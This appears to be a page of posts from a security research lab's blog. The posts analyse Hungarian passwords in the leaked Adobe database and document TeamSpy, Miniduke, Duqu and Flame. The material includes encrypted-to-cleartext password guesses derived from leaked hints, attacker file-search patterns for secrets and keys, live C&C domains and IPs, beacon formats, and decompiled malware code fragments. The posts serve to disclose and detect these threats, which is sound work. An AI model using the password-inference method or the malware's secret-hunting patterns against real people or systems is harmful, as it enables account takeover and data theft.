Posted on Leave a comment

Hungarian passwords in the Adobe leaked password list

This article reflects results of joint work with Ukatemi guys.
(A magyar nyelvű változat az angol után található.)

Adobe was compromised this September. Stolen data was first found in September and disclosed in early October by Brian Krebs. Later on, some 10 days ago somebody has leaked a 9GB (uncompressed) authentication database stolen from Adobe.

The database was analyzed recently based on the properties of the encryption scheme.
http://stricture-group.com/files/adobe-top100.txt contains the results of the analysis: the top 100 frequently used encrypted passworts and the most probable guesses for the raw password.
Press write-up is also available on the research: http://www.zdnet.com/just-how-bad-are-the-top-100-passwords-from-the-adobe-hack-hint-think-really-really-bad-7000022782/

We were however curious about the passwords chosen by Hungarians. In the Adobe leak, there are 209 125 email addresses with .hu CCTLD domain name. By the same way how the previous research was carried out, we created a list of most frequent passwords among this 200 thousands of users and tried to pinpoint the most likely cleartext password based on the password hint information and email addresses.

Note, however, that due to the much smaller corpus (200k instead of 154M accounts), we had much lower number of password hints, and thus the confidence of our results is lower.
In the table below, we show the frequency, how many times a password was used in the .hu corpus, and for comparison, we also show the frequency in the full database. If a password is often used in the whole database, then it is most likely not a specific hungarian word, but some internationally known word,phrase or code. In addition to the most likely password, we give secondary ideas in cases where we are not confident enough, and some information about the meaning of the specific word, if it relates to Hungarian language or culture.


Ezév szeptemberében vették észre, hogy valamilyen ismeretlen csoport feltörte a világszerte ismert Adobe szoftvergyártót (többek között az Acrobat Reader, Photoshop és Flash Player gyártóját), és elloptak a cégtől forráskódokat valamint nagyméretű felhasználói adatokat tartalmazó adatbázisokat. Október elején került napvilágra az adatlopás ténye, és október végén hírek kaptak napvilágra arról, hogy a cég 154 millió felhasználójának adatai is napvilágra kerültek. Pár nappal később egyre több helyen volt elérhető ez az ellopott 9GB méretű információhalmaz. Az adatok tartalmazzák a felhasználók e-mail címeit, kódolt jelszavát és ún. jelszó-tanácsát is. A kódolt jelszó egy szimmetrikus rejtjelezővel, egy erősnek számító 3DES algoritmussal van rejtjelezve, a jelszó-tanács egy védelem nélküli szöveg.
A rejtjelezett jelszót kulcs nélkül nem lehet dekódolni, és a kulcs egyelőre nem szivárgott ki. Ezért a jelszavak elvileg nem feltörhetőek. Sajnos azonban az iparági gyakorlattól eltérően a tárolási mód sérülékenységeket rejt magában. A rejtjelezett kulcsok nem salt-oltak és ECB módban “IV” nélkül rejtejelezettek. Ezek a szakkifejezések azt mondják ki: ha két felhasználónak azonos a jelszava, akkor a rejtjelezett párjuk is azonos.

Ez pedig gond. Sok felhasználó esetén sokan használnak azonos jelszót. Ha két felhasználó azonos jelszót használ, akkor a kódolt jelszavuk is azonos lesz. Ha találunk két felhasználót, akiknek azonos a kódolt jelszavuk, és az egyik a jelszó-tanács mezőben az írja, hogy “A jelszó három a betű és az 12 számsor”, akkor nagy valószínűséggel tudjuk, hogy a másik felhasználónak is aaa12 a jelszava. Nincs lehetőségünk a teljes bizonyosság megszerzésére, tehát ez a trükk főleg olyan jelszavakra működik, ahol a jelszavakat sokan használják és sok a jelszó-tanács (password hint) is.

Ennek megfelelően külföldön már pár napja publikáltak egy listát a leggyakoribb 100 rejtelezett jelszóról és annak megfejtett párjairól. A .hu domain névvvel regisztrált email című felhasználók száma meghaladja a 200 000 elemet a listában, közösen az Ukatemi startup cégünk embereivel azt vizsgáltuk meg, hogy mik a magyar jelszóválasztási szokások, és hogyan illeszkednek a nemzetközi környezethez.

Az alábbi listában megtekinthető a magyarok (.hu email) által leggyakrabban használt jelszavak kódolt változata, a darabszám, ahányszor .hu domainről használták, a darabszám, ahányszor nemzetközileg használták (ez is érdekes lehet, hisz vannak magyarok .com cím alatt is, és vannak jelszavak, amik nemzetközi szinten is használatosak). Feltűntettük a legvalósznűbb becslésünket a jelszóra (ami nem biztos, mert nem ellenőrizhető jogszerűen), és a tippjeinket, ha a legbiztosabb ötlet nem igaz. A külföldiek számára kis értelmezést is elhelyeztünk a jelszó jelentéséről.
Összesen csak kb. 3 jelszó esetén nem volt elég adat a nagyjából biztonságos azonosításra, ezeknél valamilyen okból senki, vagy szinte senki nem jelölt meg jelszó-emlékeztetőt.

Érdekességek:

  • Sok citromail.hu felhasználó jelszava “citrom” – nem túl kreatív és veszélyes
  • Sok jelszó-tanács nagyon egyszerű ” a van ellentéte” “nem narancs” “A tudom ellentéte”
  • Sok tanács kiad plusz információt “Ugyanaz, mint az xy@z.hu címemen” – ez külön segítség, hogy mit támadhatunk meg még a jelszóval.
    “Mint mindenhol” – ez is egyértelműen gond, nemcsak, hogy ugyanazt a jelszót használja a felhasználó, de még segíti is a támadót, hogy továbbmenjen.

  • Sok felhasználó “nevem” “barátnő neve” “második nevem” szöveget írt, mondván, esetleg az email címéből ez nem következik. Ugyanakkor, a többi azonos jelszót
    használó felhasználónak elég egy szempillantást venni az email címeire, és triviális, hogy ha 20 emberből 10-nek csilla szerepel a címében, akkor a jelszó csilla, vagy annak becézése lesz. És innentől egy vadidegenről azt is tudhatjuk, hogy mi a neve, barátnője neve, második neve stb., ami segítség ún. social engineering támadásokhoz is.

FRISSÍTÉS: Találtunk pár apróbb hibát, ezeket “FIXED” felirattal javítjuk

Mintaként nézzük meg a következő rövidített listát (lecseréltük X-re a nem releváns részeket):

115103118-|--|-XXcsilla@XXX.hu-|-8Nd+cNdQ360=-|-nevem|--
62657676-|--|-nonXX@XXXXX.hu-|-8Nd+cNdQ360=-|-|--
100898317-|--|-Xcsilla2@XXXX.hu-|-8Nd+cNdQ360=-|-name|--
121149457-|--|-XXcsilla@XXXX.hu-|-8Nd+cNdQ360=-|-nevem|--
123756555-|--|-barXXXX@XXXX.hu-|-8Nd+cNdQ360=-|-kind|--
153339366-|--|-slXXX@XXX.hu-|-8Nd+cNdQ360=-|-Asszony|--
114565459-|--|-zsolt.XXXX@XXX.hu-|-8Nd+cNdQ360=-|-kislanyom|--
63691377-|--|-X_csilla@XXXX.hu-|-8Nd+cNdQ360=-|-|--
66609165-|--|-archer.XXX@XXX.hu-|-8Nd+cNdQ360=-|-|--
67272237-|--|-ylvXXX@XXXXX.hu-|-8Nd+cNdQ360=-|-|--
74715082-|--|-lindusXX@XXXXX.hu-|-8Nd+cNdQ360=-|-nevem|--
174992278-|--|-fXXXX.csilla@XXX.hu-|-8Nd+cNdQ360=-|-|--
177821115-|--|-putirXXXX@XXX.hu-|-8Nd+cNdQ360=-|-|--
183285417-|--|-kXXX.csilla@XXX.hu-|-8Nd+cNdQ360=-|-|--
96471297-|--|-csillapXXX@XXX.hu-|-8Nd+cNdQ360=-|-|--
69058043-|--|-csillalXXX@XXX.hu-|-8Nd+cNdQ360=-|-|--

A “nevem” “name” “Asszony” és “kislanyom” alapján egyértelmű, hogy egy női nevet keresünk. Ezután pedig elég ránézni az e-mail címek listájára, hogy észrevegyük mennyire sok “csilla” szerepel rajta. Persze tévedhetünk, hiszen van egy “lindus” email című is, de a “csilla” elsöprő többségben van.

A jelszavak listájából látszik, hogy nagy az átfedés a nemzetközileg is használt jelszavakkal pl. “123456”, de vannak lokálisak is “szerelem”. A legtöbb jelszó továbbra is név vagy becenév, alig van ettől eltérő az első százban. Tanács: Sose használjuk emberek neveit, beceneveit, vagy azok módosításait, mert ezek a leggyakoribbak. Legyünk kreatívabbak, még mindig igaz, hogy a cseresznye151pok sokkalta biztonságosabb, mint a kr1sztinaIloveyou. A legjobb, ha valami generátorral készítünk jelszavakat, ezek sem tudnak csodát tenni, de egy DooYee7goe5EeFa nagyon erős. Összehasonlíthatatlanul erősebb az eddigi vicces példáknál.

Összegezve:
A helyzet tehát az, hogy aki regisztrált az Adobe-nál bármilyen okból, és a jelszavát máshol is használta, azonnal jelszót kell változtatnia a többi helyen.

Rank No. in .hu No. in all Encrypted PW Most likely password Is it in top100/english? remarks, other guesses
1 3191 1911938 EQ7fIpT7i/Q= 123456 Y
2 525 932 pbn7wO3zb+8= jelszo password in hungarian
3 461 43497 4V+mGczxDEA= 12345 Y
4 394 446162 j9p+HwtWWT86aMjgZFLzYg== 123456789 Y
5 348 13401 uQM9dmQq8vE= qwertz hungarian keyboard layout has y=z
6 337 345834 L8qbAD3jl3jioxG6CatHBw== password Y
7 289 201580 j9p+HwtWWT/ioxG6CatHBw== 12345678 Y
8 273 31555 dA8D8OYD55E= asdfgh Y
9 248 113884 7LqYzKVeq8I= 111111 Y
10 214 76187 diQ+ie23vAA= 000000 Y
11 213 44282 xz6PIeGzr6g= aaaaaa Y
12 209 54651 WqflwJFYW3+PszVFZo1Ggg== macromedia Y
13 202 20961 WlMTLimQ5b4= asdasd Y
14 201 61453 ukxzEcXU6Pw= 1234 Y
15 189 320 q1A6iHNzTFg= valami something in hungarian
16 186 313 MWv89Ddd99M= piglet
17 176 1467 3zV1jrgwEro= attila hungarian male name
18 175 284 MiWs/2HM40w= lacika hungarian male name
19 173 124253 dQi0asWPYvQ= 1234567 Y
20 153 37407 yp2KLbBiQXs= 666666 Y
21 151 274 z5rLiwD12co= almafa appletree in hungarian
22 150 260 N4+iUEuZbPw= cica cat in hungarian
23 137 214 MAEvnIZOuSk= peti peter in short
24 135 6662 uIMAMQyXI/g= something international, 6600 hits
25 134 239 dvqulUaGiQg= zolika zoltan in short, male name
26 126 273 AhfBRgIzdos= tamas maybe tomi tomika, male name
27 125 294 W/jzwDNnaOw= lofasz should be censored
28 124 367 MSycWzt2SLPqvJr9l/X59g== szerelem love in hungarian
29 123 220 rA3xnflDDXI= esztike maybe eszter, hungarian female name
30 119 83411 PMDTbP0LZxu03SwrFUvYGA== photoshop Y
31 118 13044 upIXKNY/ZKY= xxxxxx
32 116 234 zjrHRH4etC0= macika maybe maci, stands for bear or teddy
33 107 234 m0/4nMkmJyM= gabi maybe gabika, female or male name in short
34 106 15910 e21tszGBy4k= matrix Y
35 104 187 P9f9Bgw46Hk= nincs means it does not exist
36 102 194 zwakdT5tFhk= titok secret in hungarian
37 100 192 /jNYdvynVr0= csillag star in hungarian
38 100 1162 +bZCz+Mm7WHioxG6CatHBw== budapest capital of Hungary
39 97 235 iqVZniq2Z6fioxG6CatHBw== cicamica like pussycat
40 97 443 bDjmWzVDGMo= dani male name in short
41 97 17989 NtCzq/i0Ffc= abc Y
42 95 9014 LEdwuvBMkVzioxG6CatHBw== garfield
43 92 16374 QSay9kzQVz8= samsung Y
44 92 155 FClbZZD1l1A= FIXED: nemtom I dunno in short
45 91 149 Xe2T3yCUsCc= balazs maybe balu, balika
46 90 155 lwXlGk4RTzc= mazsola kind name
47 89 247 D0B1TLHoZoTioxG6CatHBw== szeretet love (one version) in hungarian
48 88 197 Yg/0iyYFi+A= janika male name in short
49 86 12160 rkyaRFa+eak= qwe123
50 86 421 FvWPZ2OI8V0= tigris maybe tigris1
51 84 17176 oa/GBGqIApo= killer Y
52 84 4540 TYrTfuuBGm0= monika female name in short
53 83 142 p6kbkduAMhPioxG6CatHBw== FIXED: macilaci/TD>

Yogi Bear
54 82 153 iolWV4U4baM= madar bird in hungarian
55 81 131 TiMyOmRnnYk= mokus second guess: manoka mokus is for squirrel
56 80 214 ugYjb/7SO9DioxG6CatHBw== FIXED: nemtudom “I don’t know”
57 79 11707 rNhveK0RH5Q= ferrari
58 79 1267 ghZhzPTEyrU= viktor
59 79 6920 QkLIDf6naxw= no hint, strange
60 78 27387 XpDlpOQzTSE= 121212 Y
61 78 4829 XWs+3joEULU= 0123456 maybe 012345
62 76 18049 b5LJqTmQmvQ= 555555 Y
63 74 377 syBP2PbOprLioxG6CatHBw== FIXED: freemail
64 73 9787 C6fdPcrsYlU= 123asd or asd123
65 72 20572 ueE89xIj8RTioxG6CatHBw== internet Y
66 72 17454 MEXwK6GOWHk= andrea Y
67 72 130832 5djv7ZCI2ws= qwerty Y
68 71 7991 E3P4TkKmrIE= no hint, strange
69 70 82694 e6MPXQ5G6a8= 123123 Y
70 70 43673 Ypsmk6AXQTk= 654321 Y
71 69 111 WHnoclxstks= some woman’s name, bea, betti, zsuzsa or monika are most likely
72 69 3246 SSCHXSLigpo= roland
73 69 2618 I+sy2I0+oHg= delfin
74 69 230 2e2bx0WPm8o= andi
75 68 10742 ewOK16tiXAs= enimem
76 68 22103 OrzNCxMfwrw= fdsa Y
77 68 139 8Nd+cNdQ360= csilla hungarian female name
78 66 959 remGyraE2+rioxG6CatHBw== viktoria hungarian female name
79 66 5213 SVXt5Rlot1U= clever or something related to iq, cleverness, and a brand of computer mouse
80 66 16177 F9nqBYx2LhA= asdfghj Y
81 66 13531 DuMurYI43dU= blabla blahblah in hungarian
82 65 737 vEldih7WrfY= vivien female name
83 65 129 o2D+z1QYuHo= FIXED: nyuszi bunny in hugarian
84 65 7070 U1yPApWcaOA= barbara female name
85 63 27856 pTkQrKZ/JYM= dragon Y
86 62 128 vQGGxx87Fyk= levente male name
87 62 95 7DOklOXTFPo= zsolesz or other forms of zsolt, like zsolti
88 61 70795 kCcUSCmonEA= abc123 Y
89 61 81 gkfBa7HrOnY= citrom funny, many “citromail.hu” users chose that, hungarian: lemon
90 61 15805 fbO2Wx232qY= secret Y
91 60 102 kiQXbvrKbiA= robi or robert, robby, roby, or similar
92 60 88 GsQ/41R7pXw= FIXED: kriszti female name
93 60 194 /EoAhM0rWA8= kata maybe katalin, kati, female name
94 59 179 mkRrr6/R2oE= richard
95 59 14159 PwB5ue3qkgs= oliver
96 59 181 Kt3DWt8h3tg= ildiko hungarian female name
97 57 6734 u57swGYZlf/ioxG6CatHBw== juventus
98 57 146 MoedSZDdCmk= zsuzsi or zsuzsanna, hungarian name like suzy
99 56 20022 ziypr2hyamc= 123qwe Y
100 56 97 pp3j26xZbvTioxG6CatHBw== kiskacsa stands for duck in hungarian. fix: kacsa->kiskacsa “small duck”
101 56 P2x/N9v5UaM= melinda female name in short

Edited by: Boldizsar Bencsath

Posted on Leave a comment

TeamSpy – Obshie manevri. Ispolzovat' tolko s razreshenija S-a

The CrySyS Lab, Budapest has been notified by the Hungarian National Security Authority (www.nbf.hu) about the detection of an ongoing high profile targeted attack affecting our home country, Hungary. During our investigation of the incident, we discovered a number of C&C servers, and a large number of malware samples that have been used in multiple attacks campaigns in the last couple of years. Indeed, the collected evidences suggest that part of the attack toolkit we discovered was used back in 2010. It seems that the main objective of the attackers was information gathering from the infected computers. Many of the victims appear to be ordinary users, but some of the victims are high profile industrial, research, or diplomatic targets, including the case that triggered our investigation. As part of the attackers’ activities is based on misusing the TeamViewer remote access tool, we named the entire malicious toolkit TeamSpy.

We detail the findings in our technical report.

As mentioned above, a distinct feature of the attack is the abuse of the legitimate TeamViewer remote access tool. The attackers install an original, legitimate TeamViewer instance on the victim computer, but they modify its behavior with DLL hijacking, and they obtain remote access to the victim computers in real-time. Therefore, the attackers are not only able to remotely observe the infected computers, but they can also misuse TeamViewer to install other tools to obtain important information, files, and other data from the victim.
The collected evidences suggest that attacks have been carried out in multiple campaigns. In addition to the TeamViewer based campaigns, we also saw signs indicating a number of older attacks based on proprietary malware with C&C server based control. We estimate the number of distinct campaigns to be in the order of tens.

The activities of the attackers might be related to other known attack campaigns, like the TeamBot/Sheldor campaign (banking cyber-crime), as we describe later in this document. Despite of this relation to cyber-crime activities, we believe TeamSpy has been used in high-profile targeted attacks too. This is underpinned by the following observations:

• In case of the Hungarian incident, the signs clearly show that the target is high-profile.
• Some malware samples were created just for the retrieval of specific office documents (see the analysis of module 2016_11.txt below) whose name (e.g. “gaza tunnel”) indicate that the target is probably high-profile.
• The telemetry revealed additional high-profile victims outside Hungary. Indeed, multiple victims were found in Iran, including victims at http://www.sashiraz.co.ir, which is an electronics company with government background. The possible date of infection for this victim is from 2010.
• Some tools used by the attackers run traceroute to an unknown host on a subnet, where some other hosts belong to the Ministry of Foreign Affairs of Uzbeghistan.
• Some tools used in the attacks look for files matching the following templates saidumlo secret.* секрет.* парол.* .xls *.pdf *.pgp *pass.* *.rtf *.doc. This list shows the interest of the attackers in “secret” and “password” documents. In addition, the attackers’ interest in .pgp and .p12 files indicates that they were looking not only for passwords, but also for cryptographic keys, which goes beyond attacks against ordinary users.

During our investigation, we uncovered a large set of malware samples that were probably utilized back in the past; hence, our analysis can also shed light on older malware campaigns and might help victims to reveal incidents that are several years old. Therefore, the information disclosed in this report could be used to perform a longitudinal study of targeted malware attacks.
While identity of most of the victims could not be revealed, we have information on some high-profile victims, e.g.:

  • 11/2012: Hungarian high profile governmental victim.
  • 03/2013: Embassy of NATO/EU state in Russia
  • 04/2010: Electronics company in Middle-East, Govt. background
  • 03/2013: Multiple research/educational organizations in France and Belgium
  • 03/2013: Industrial manufacturer in Russia

Please read the detailed technical report.

Posted on Leave a comment

New miniduke samples hashes

6a2c682163f7bd572e5b32861f339749a5e6338f *bg_efa.gif
5f9d29ff787ee57cf1efc50ba912b8170d877c8c *bg_efa.gif_dec
7594baa64a94147fe4a480bb1f05421499bafbfa *bg_efd.gif
a26b92e612d3a282a294b9fed313998270fb3de8 *bg_efd.gif_dec
3bcd6d97a08406b09c8a1754fc2813b8c31305ec *bg_efssa.gif
3fc74035fefe01a0f88266e1ea6982568db37969 *bg_efssa.gif_dec
a725f94d95ff667657186295c47d4dc487ec3dec *bg_ght.gif
ffabcf3e947aaeefb52ec4385ceb339bc3bbc4a9 *bg_ght.gif_dec
065624d59c2bf607df10bfec1fb104fee09f9dd6 *bg_ldf.gif
5deb581700d373b5890e3bd684306473d34d02cc *bg_ldf.gif_dec
43ef986db9a1c9ff7fd0d84d8495a4f3d9e82543 *bg_lef.gif
131b72a8d950bcf3de273f8a6aac56f8884b5e1e *bg_lef.gif_dec
03ed5e370513eb4d357fbc391ce57c75d179551e *bg_ler.gif
726924e450ffb50c6cd600dca35e8353e0d42c8b *bg_ler.gif_dec
6799b0d8e9ec469fa455b01ffde63b8c *bg_efa.gif
ac1c9fd4c6ba5ef3673a871960a48622 *bg_efa.gif_dec
665eb69b1a917b5c8e3588efcc258539 *bg_efd.gif
a401042e3276bcb4d4012da392e6374a *bg_efd.gif_dec
9253eae9b443f67b12a2b399f54bb2cb *bg_efssa.gif
f3de8feb3ea4f367053755123389c1ae *bg_efssa.gif_dec
9fee2fcc92b74e0fb65dc42214ae9952 *bg_ght.gif
41d4eb3aab5acd87657c4b9ea9432d9b *bg_ght.gif_dec
37307978b24a9185ec8b4ca14afefd99 *bg_ldf.gif
e92584a5624b2fa044a671198c834221 *bg_ldf.gif_dec
9c2433c9768c43a8f4ae0fc72b1cc1cc *bg_lef.gif
0f76f6e9d7659d4fb087d18bec1bd48f *bg_lef.gif_dec
535011c4887a098fc67adb5eebc64525 *bg_ler.gif
3b83c9bb67ce8166c0312b1abe9cd5a7 *bg_ler.gif_dec

Posted on Leave a comment

Miniduke

Earlier in February 2013, FireEye announced the discovery of a new malware that exploited a 0-day vulnerability in Adobe Reader. Now, we announce another, as yet unknown malware that exploits the same Adobe Reader vulnerability (CVE-2013-0640).

This new malware was named Miniduke by Kaspersky Labs with whom we carried out its first analysis. Our participation in this research was justified by a detected Hungarian incident. A detailed report on the results of our joint efforts has been published by Kaspersky Labs on their Securelist blog site. That report describes what we currently know about the operation of Miniduke including its stages, and also information on the C&C infrastructure and communications. We have published another report from CrySys Lab that contains information on the indicators of Miniduke infections and gives specific hints on its detection. This blog entry is a brief excerpt of our report.

The available malware samples are highly obfuscated, and compiled by a polymorphic compiler. The attackers were able to produce new variants with only a few minutes difference between compile times. Therefore, the number of distinct samples could be very large. Hashes of known samples are published in our detailed report on indicators.

Due to a large number of compiled samples, there is a high chance that the current version is difficult to detect by signatures. Yet, there are common features in the samples that can be used to identify the malware components.

In every case we encountered, the “Program Files/Startup” contains a file with .lnk extension after installation. This is used to start up the malware after the computer is rebooted.

A not fully cross-checked information is that, during installation, the malware will be copied in two copies on the system and the two executables differ. This might mean that the executable modifies itself. For example, we recovered the following two files:

md5sum base.cat :113e6fc85317fdd135e3f5f19e6c7a58 *base.cat
md5sum ~6rld.tmp : c786a4cdfe08dbe7c64972a14669c4d1 *~6rld.tmp

where base.cat is the startup file, which is created based on ~6lrd.tmp. base.cat is stored in the “All users” directory, whereas ~6lrd.tmp is stored in a user’s directory, e.g., in the guest user directory as “C:\Documents and Settings\guest\Local Settings\Application Data\~6rld.tmp”. This user directory contains at least one more file, update.cmd, with a specific content that could be used for detection.

As for stage 3 of the attack, it is important to note that it is not yet analyized deeply. So once a victim downloads the ~300k long piece of stage 3 code, we don’t know what happens with the previous stages, and we have no information about detections once this stage is reached, except the usage of the C&C server news.grouptumbler.com. Another variant of the stage 3 code is much smaller, only 14k long, and connects to a server in Turkey.

We have identified the following servers delivering stage 2 and stage 3 code to victims:

arabooks.ch 194.38.160.153 / Switzerland
artas.org 95.128.72.24 / France
tsoftonline.com 72.34.47.186 / United States
www.eamtm.com 188.40.99.143 / Germany

The C&C server used by stage 3 of the malware is news.grouptumbler.com (IP 200.63.46.23) and it is located in Panama.

There are multiple layers of C&C communications in the malware. First, the malware uses Google search to receive information from its master. Then, it uses the Twitter messaging service looking for the twits of a specific Twitter user. Commands received via this channel trigger the download of stage 2 and stage 3 code.

Basic detection can be based on the queries that are initiated by the victim computer within seconds:

www.google.com – port TCP/80 - HTTP
twitter.com –port TCP/443 - SSL
www.geoiptool.com –port TCP/80 - HTTP

Known search strings in Google search can also be used to detect the malware:

lUFEfiHKljfLKWPR
HkyeiIDKiroLaKYr
lUFEfiHKDroLaKYr

Unfortunately, these strings are most likely unique to each C&C server or victim, thus unknown samples might use other strings, but possibly with the same length.

Examples for twits containing the URL of the C&C server are shown below:

The weather is good today. Sunny! uri!wp07VkkxYt3Mne5uiDkz4Il/Iw48Ge/EWg==
Albert, my cousin. He is working hard. uri!wp07VkkxYmfNkwN2nBmx4ch/Iu2c+GJow39HbphL
My native town was ruined by tornado. uri!wp07VkkxYt3Md/JOnLhzRL2FJjY8l2It

The malware also sends a query to the geoiptool. An example is shown below:

GET / HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US; Trident/5.0)
Host: www.geoiptool.com

The malware retrieves the URL of the stage 2/3 delivery C&C server from Twitter messages as described above. Then, we can observe the first query from the victim towards the server. This query contains pure HTTP traffic on port 80 to the server following the template below.

GET /original/path/shortname/index.php?e=aaaaaaaaa

where:

  • shortname can be a number of strings, generally human readable (e.g. lib, engine, forum, forumengine etc.)
  • “e=” is not constant, can be anything, but generally 1-2 letters long
  • aaaaaaaaa stands for some Base64-like text (see details below)
  • the servers used are assumed to be legitimate sites, just hacked by the attackers.

Based on this format, we can detect a valid query as follows:

The name of the first GET parameter should be discarded

  • this means “e=” is not important
  • we saw only one GET parameter, queries with multiple parameters are likely not used

For detection, the Base64-like string “aaa…” should be first modified as follows:

  • “-” should be replaced by “+”
  • “_” should be replaced by “/”

This results in correct Base64 encoding, which can be decoded with library functions such as base64_decode. After decoding, a string of data, partially binary, will be available. Parts are separated by the delimiter character “|”. The format and a numerical example are below:

binary data ( ~100 bytes)|numerical ID ( ~10 digits)|version number

e.g.,

binary data|5551115551|1.13

As the binary data itself may contain the ”|” character, parsing should start from the end (i.e., the numerical ID starts from the second “|” character from the end). In additional, the ID length may vary (not fully confirmed), but it seems to be around 10 digits. Finally, the version number always follows the pattern “one digit.two digits”, e.g., 1.1X 3.1X.

gif-image

The C&C server’s response – if it sends encrypted files – is a GIF file containing a small icon, and after that, the malware. For stage 3, the file downloaded has a larger size (~300KB). It also begins with a GIF header, but that header is only 13 bytes long, and then starts the encrypted executable (see picture above).

Posted on Leave a comment

Encryption related to Duqu font expoit (CVE-2011-3402)

You remember the Duqu font related exploit and shell code in the dropper? Yes, that’s the exploit that was recently used in many exploit kits.
First of all, this is a kernel level exploit, it should be kept in mind while checking code.

The original dropper had a decryptor for the stage1 of shell code:

void __fastcall sub_1500(int a1, int a2)
{
int v2; // eax@2
int v3; // ecx@2
int v4; // eax@5
int i; // eax@5

if ( !dword_14FC )
{
v2 = 0;
dword_14FC = 1;
v3 = (unsigned __int8)dword_14F8;
while ( v2 != dword_14F8 )
{
LOBYTE(a2) = v2 ^ *((_BYTE *)sub_17C + v2) ^ v3;
*((_BYTE *)sub_17C + v2) = a2;
a2 = (unsigned __int8)a2;
++v2;
v3 ^= a2;
}
v4 = sub_158C(v2, a2, v3);
sub_17C(v4 - (_DWORD)sub_17C);
for ( i = 0; i != dword_14F8; ++i )
*((_BYTE *)sub_17C + i) = 0;
}
}

It’s not a complicated obfustation/crypto, the interesting thing is that it is not like the ones for Flame. The most similar thing is Stuxnet’s modules’s crypto, maybe later discussed.

The next level is still obfuscated. ntoskrnl.exe function calls are stored in a table by hash of the function call name, just like calls are obfuscated in other parts of Duqu. This is not unusal, but shows specific care on the module.

The hash-function relation table is costructed like under:

seg000:00001043 mov [esi+10h], eax
seg000:00001046 jz loc_11B2
seg000:0000104C push ecx
seg000:0000104D push ecx
seg000:0000104E push 0BF5CA508h ; ExAllocatePool, hash:bf5ca508
seg000:00001053 push edi
seg000:00001054 call sub_7FD
seg000:00001059 add esp, 10h
seg000:0000105C test eax, eax
seg000:0000105E mov [esi+14h], eax
seg000:00001061 jz loc_11B2
seg000:00001067 push edx
seg000:00001068 push edx
seg000:00001069 push 2973E9CCh ; export name: ExFreePool, hash:2973e9cc
seg000:0000106E push edi
seg000:0000106F call sub_7FD
seg000:00001074 add esp, 10h
seg000:00001077 test eax, eax
seg000:00001079 mov [esi+18h], eax

Note the constants 2973ECCh and similar. These are identifiers of ntoskrnl.exe exports (specific functions).

The hash calculation is done like this:
for ( i = 0; ; i += 7 * i * i + 12 * v8 + 17 * v8 * v8 )
{
v8 = (_BYTE *)v3;
if ( !
(_BYTE *)v3 )
break;
++v3;
}

It’s not like encryption/obfuscation code for FLame. Maybe the exploit creators also provided this stage to the customers.

Based on this code function calls in the exploit can be recovered. And still, this is just one step among others to fully understand how original Duqu dropper worked…

A few sample values for hashes based on the function described above:


export name: AlpcInitializeMessageAttribute, hash:f8ab4ead
export name: CcCanIWrite, hash:c833f901
export name: CcCoherencyFlushAndPurgeCache, hash:41ab559d
export name: CcCopyRead, hash:99b1f488
export name: CcCopyWrite, hash:96bc06d5
export name: CcCopyWriteWontFlush, hash:210fdfb4
export name: CcDeferWrite, hash:038897a1
export name: CcFastCopyRead, hash:1e3c8f5c
export name: CcFastCopyWrite, hash:c1874039
export name: CcFastMdlReadWait, hash:2eea7438
export name: CcFlushCache, hash:0a30abdd
export name: CcGetDirtyPages, hash:cc24ab45
export name: CcGetFileObjectFromBcb, hash:8244f064
export name: CcGetFileObjectFromSectionPtrs, hash:9406fe99

… possibly TBC…

Posted on Leave a comment

Stuxnet-Flame relation

Some time ago, we rechecked some Stuxnet code. Guess what have we learned: Kasperksy already published Flame-Stuxnet relationship, but on the encryption level, there is another similarity. In fact, this was found by Norman back in June , but they compared with soapr32’s encryption which is slightly more different than 4069.dll’s encryption E2.

Stuxnet PLC dll encryption code:
unsigned int __cdecl encryption_routine_sub_10010B26(int a1)
{
int v1; // eax@1

v1 = (a1 + 11) * (a1 + 17);
return (a1 + 11) * (a1 + 17) ^ (((a1 + 11) * (a1 + 17) & 0xFFFFFF00 ^
((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ v1
& 0xFF0000) >> 8)) >> 8);
}

Flame 4069.dll:
unsigned int __cdecl encryptor_sub_4025C0(int a1)
{
return (a1 + 11) * (a1 + 17) ^ (((unsigned __int16)((a1 + 11) * (a1 + 17) & 0xFF00)
^ ((((unsigned int)((a1 + 11) * (a1 + 17)) >> 8) ^ (a1 + 11) * (a1 + 17) &
0xFF0000) >> 8)) >> 8);

But for what reason was this encryption (obfuscation) used in 4069?

Flame 4069 contains some strings like this:

5F 5F 73 73 5F 73 5F 5F 00 31 32 25 77 69 6E 64 ss_s.12%wind
69 72 25 5C 73 79 73 74 65 6D 33 32 5C 72 64 63 ir%\system32\rdc
76 6C 74 33 32 2E 65 78 65 00 5F 5F 73 73 5F 65 vlt32.exe.__ss_e

Basically ss_s is some kind of magic string where “ss” stands for string. then “00” is a placeholder for a length variable,
“12” is a magic string, and finally the encrypted string is put in the file. Oh, no. Wait a minute. This seems to be human readable?! Yes, basically 4069 is prepared to accept encrypted strings “if needed”, but the marker for doing that is the length field. If it is 00 (as above), then the string is unencrypted, and can be direcrtly read, otherwise it uses E2 to decrypt the string. Magic “12” is not part of the “real” string, this info is a fix for our Flame/Skywiper tech report.
All-in-all, the connection is not jut strange, but in 4069 this encryption routine is not even really used. Most likely, authors have made a postprocessor for the binary finding s_s strings, 12 magics and then encrypting strings and writing back length field into the file, but for some reason in the samples we saw, they did not use the post-processing tool.


.text:004025F1 mov ebx, [esp+4+length_arg_4]
.text:004025F5 push esi
.text:004025F6 xor esi, esi
.text:004025F8 test ebx, ebx
.text:004025FA jbe short loc_402618

If length is not set, then jump out of the decryption loop.

Posted on Leave a comment

How Duqu resource 302 finds the .zdata section

Just a short blog entry to save this info for the history.

We investigated originally two different pieces of duqu payload. One contained resource 302 with a compressed .zdata section, the other contained the to-be-injected code without compression. The injector-loader is the same for the two versions, then how does it find if .zdata should be loaded?

Here is the trick from netp 301 resource:

.text:10001220 mov ecx, 5A4Dh
.text:10001225 cmp [eax], cx
.text:10001228 jnz loc_100012CD
.text:1000122E mov ecx, [eax+3Ch]
.text:10001231 add ecx, eax
.text:10001233 cmp dword ptr [ecx], 4550h
.text:10001239 jnz loc_100012CD

First it checks for “MZ” header, then it check “PE” signature.
Now,

.text:1000123F movzx edx, word ptr [ecx+6] ; number of sections in PE File (5)
.text:10001243 cmp dx, 3
.text:10001247 jbe loc_100012CD
.text:1000124D movzx esi, word ptr [ecx+14h] ; pointer to symbol table
.text:10001251 movzx edx, dx
.text:10001254 imul edx, 28h ; each section entry in section table- 40 byte
.text:10001257 add edx, ecx
